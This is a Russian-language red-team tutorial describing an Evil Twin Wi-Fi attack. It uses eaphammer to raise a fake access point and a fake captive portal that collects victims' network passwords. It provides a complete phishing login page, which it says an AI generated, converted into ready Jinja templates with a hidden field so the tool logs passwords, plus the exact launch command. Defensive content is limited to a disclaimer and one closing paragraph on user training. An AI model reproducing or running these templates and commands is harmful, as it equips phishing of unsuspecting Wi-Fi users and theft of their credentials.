Похищение данных для подключения к Wi-Fi через Captive Portal
Введение
Наверняка каждый, кто когда-либо подключался к публичной Wi-Fi
сети, сталкивался с так называемым порталом авторизации, или captive portal
.
Captive portal — это веб-интерфейс, который появляется при попытке доступа к интернету через публичную Wi-Fi сеть. Он требует от пользователя выполнения определенных действий, таких как ввод логина и пароля, согласие с условиями использования или просмотр рекламы, прежде чем предоставить доступ к интернету.
Пример того как может выглядеть Captive Portal
:
В данной статье будет рассмотрен процесс создания фальшивой точки доступа (Evil Twin
) с целью перехвата данных, которые жертва введет на портале авторизации нашей сети.
Evil Twin атака на Wi-Fi — это тип кибератаки, при которой злоумышленник создает поддельную точку доступа Wi-Fi, которая выглядит как легитимная. Пользователи, подключаясь к этой фальшивой сети, могут случайно раскрыть свои личные данные, такие как пароли и другую конфиденциальную информацию. Злоумышленник может перехватывать трафик и использовать его в своих целях.
Evil Twin с Captive Portal — это более сложная версия этой атаки, где злоумышленник использует поддельный Captive Portal (веб-страницу, на которую перенаправляются пользователи для аутентификации или согласия на использование сети). После подключения к поддельной сети пользователи видят страницу, которая может имитировать легитимный портал, например, страницу входа в Wi-Fi в кафе или отеле. На этой странице злоумышленник может запрашивать ввод учетных данных, что позволяет ему получить доступ к личной информации жертвы.
Более подробную информацию об атаках на Wi-Fi
сети можно найти здесь и здесь.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Установка утилиты для атаки
Для реализации атаки будет использована утилита eaphammer. Если вы используете Kali Linux
, установку eaphammer
можно выполнить с помощью следующих команд:
sudo apt update sudo apt upgrade sudo apt install eaphammer
Если вы работаете с Parrot OS
или другой операционной системой, установку утилиты можно осуществить следующим образом:
git clone <https://github.com/s0lst1c3/eaphammer.git> ./parrot-setup # либо kali-setup, либо ubuntu-unattended-setup, либо raspbian-setup
Более подробную информацию по установке можно найти здесь.
Создание страницы Captive Portal
Стандартная страница Captive Portal
имеет исключительно иллюстративный характер, и собрать какие-либо реальные данные с её помощью вряд ли удастся, так как пользователи, скорее всего, не будут вводить свои данные на подобной странице:
Поэтому давайте перейдем к созданию собственного шаблона портала авторизации. Для начала разработаем простую HTML
-страницу, которая будет вызывать меньше подозрений. В результате запросов двумя промптами могущественному ИИ была создана следующая привлекательная страница:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Wi-Fi Access</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .card { width: 100%; max-width: 400px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); border: none; } .btn-primary { background-color: #007bff; border: none; } .btn-primary:hover { background-color: #0056b3; } </style> </head> <body> <div class="card p-4"> <div class="text-center mb-4"> <img src="static/giscyberteam.svg" alt="Logo" class="img-fluid mb-3" style="max-height: 200px;"> <p class="text-muted">Вы были отключены от Wi-Fi сети <strong>GISCYBERTEAM</strong>. Пожалуйста, введит> </div> <form> <div class="mb-3"> <label for="password" class="form-label">Пароль</label> <input type="password" name="password" class="form-control" id="password" placeholder="Введите пароль от сети" requ> <input type="hidden" name="username" value="undefined"> </div> <div class="d-grid"> <button type="submit" class="btn btn-primary">Подключиться</button> </div> </form> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script> </body> </html>
К сожалению, eaphammer
не поддерживает "сырые" HTML
-страницы и принимает только шаблоны Jinja
. Также следует учесть несколько важных моментов:
- Все файлы, подключаемые через
CDN
(напримерBootstrap
), должны быть доступны локально, так как клиент в сетиEvil Twin
не будет иметь доступа к интернету и сможет получить их только с атакуемой машины. - Все подключаемые файлы (изображения, стили и т.д.) должны находиться в директории
static
, иначе веб-серверeaphammer
не сможет их обнаружить. - Файл
index.html
должен быть разделен наbody.html
иhead.html
, которые будут содержать соответствующие секции исходной страницы. eaphammer
не обрабатываетPOST
-параметры, кромеusername
иpassword
. Более того, оба параметра должны присутствовать в запросе. Поэтому, даже если вам не требуется собирать, например,username
, необходимо создать скрытыйinput
с атрибутомname="username"
.
В соответствии с указанными требованиями, давайте создадим шаблон для captive portal
. Мы разделим его на две части: head.html
и body.html
.
{% block head %} <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Wi-Fi Access</title> <link href="{{ url_for('static', filename='bootstrap.min.css') }}" rel="stylesheet"> <style> body { background-color: #f8f9fa; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .card { width: 100%; max-width: 400px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); border: none; } .btn-primary { background-color: #007bff; border: none; } .btn-primary:hover { background-color: #0056b3; } </style> {% endblock %}
{% block body %} <div class="card p-4"> <div class="text-center mb-4"> <img src="{{ url_for('static', filename='giscyberteam.svg') }}" alt="Logo" class="img-fluid mb-3" style> <p class="text-muted">Вы были отключены от Wi-Fi сети <strong>GISCYBERTEAM</strong>. Пожалуйста, введит> </div> <form method="POST"> <div class="mb-3"> <label for="password" class="form-label">Пароль</label> <input type="password" class="form-control" name="password" id="password" placeholder="Введите паро> <input type="hidden" name="username" value="undefined"> </div> <div class="d-grid"> <button type="submit" class="btn btn-primary">Подключиться</button> </div> </form> </div> <script src="{{ url_for('static', filename='bootstrap.bundle.min.js') }}"></script> {% endblock %}
Всё содержимое шаблона необходимо поместить в директорию /usr/share/eaphammer/templates/<название шаблона>
(в настоящем примере - /usr/share/eaphammer/templates/giscyberteam
).
Запуск Evil Twin с Captive Portal
Для запуска Evil Twin
с Captive Portal
можно использовать следующую команду:
sudo eaphammer --essid GISCYBERTEAM --captive-portal --portal-template=giscyberteam --auth open --interface wlan0
--essid
- имя беспроводной сети
--captive-portal
- указывает eaphammer
, что после подключения к сети клиента необходимо направить на портал авторизации
--portal-template
- указывает название шаблона captive portal
. Фактически это название директории из /usr/share/eaphammer/templates
--auth
- метод аутентификации (в настоящем примере open
, что значит подключение осуществляется без пароля
--interface
- название интерфейса Wi-Fi
адаптера, на котором будет поднята точка доступа
Атака требует наличие адаптера Wi-Fi, способного поднимать собственную точку доступа (AP - Access Point).
После запуска утилиты можно будет подключиться к фальшивой точке доступа:
В случае ввода данных пользователем они появятся в выводе eaphammer
’a:
Заключение
В заключение, в данной статье была рассмотрена атака Evil Twin
, реализованная через Captive Portal
с использованием кастомного шаблона веб-страницы для веб-сервера eaphammer
.
Данная атака в значительной степени основывается на принципах социальной инженерии, что подчеркивает важность повышения осведомленности пользователей о потенциальных угрозах.
Для эффективной защиты от подобных атак настоятельно рекомендуется проводить регулярное обучение персонала основам информационной безопасности, что позволит снизить риски и повысить уровень защиты корпоративных сетей.